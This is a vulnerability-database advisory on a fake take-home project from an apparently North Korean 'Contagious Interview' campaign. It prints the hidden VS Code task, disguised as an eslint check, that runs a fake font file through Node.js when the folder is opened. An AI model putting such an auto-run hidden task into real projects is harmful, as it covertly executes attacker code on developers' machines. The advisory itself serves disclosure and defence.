VDB
GCVE-110-OSM-2023-68
GCVE-110-OSM-2023-68
Advisory PublishedCVSS 8.8/10
DPRK Contagious Interview campaign (fake-font sub-campaign): repository contains a fake take-home/demo project with a hidden VS Code task that auto-executes a disguised font file via Node.js when the folder is opened.
Malicious payload found in: .vscode/tasks.json
Attack vector: Hidden VS Code task (label eslint-check, runOn: folderOpen, presentation.reveal: never, hide: true) that runs: (command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''
Behavior: Attempts to execute a font file (fa-solid-400.woff2) as Node.js code automatically when VS Code opens the project folder, disguised as an eslint background check task.
Payload status: In this repository the referenced .woff2 file is missing or a 0-byte empty stub (git empty-blob hash), so the execution trigger is present but currently has no live second-stage payload.
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
8.8/10
High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | all (affected) | — |
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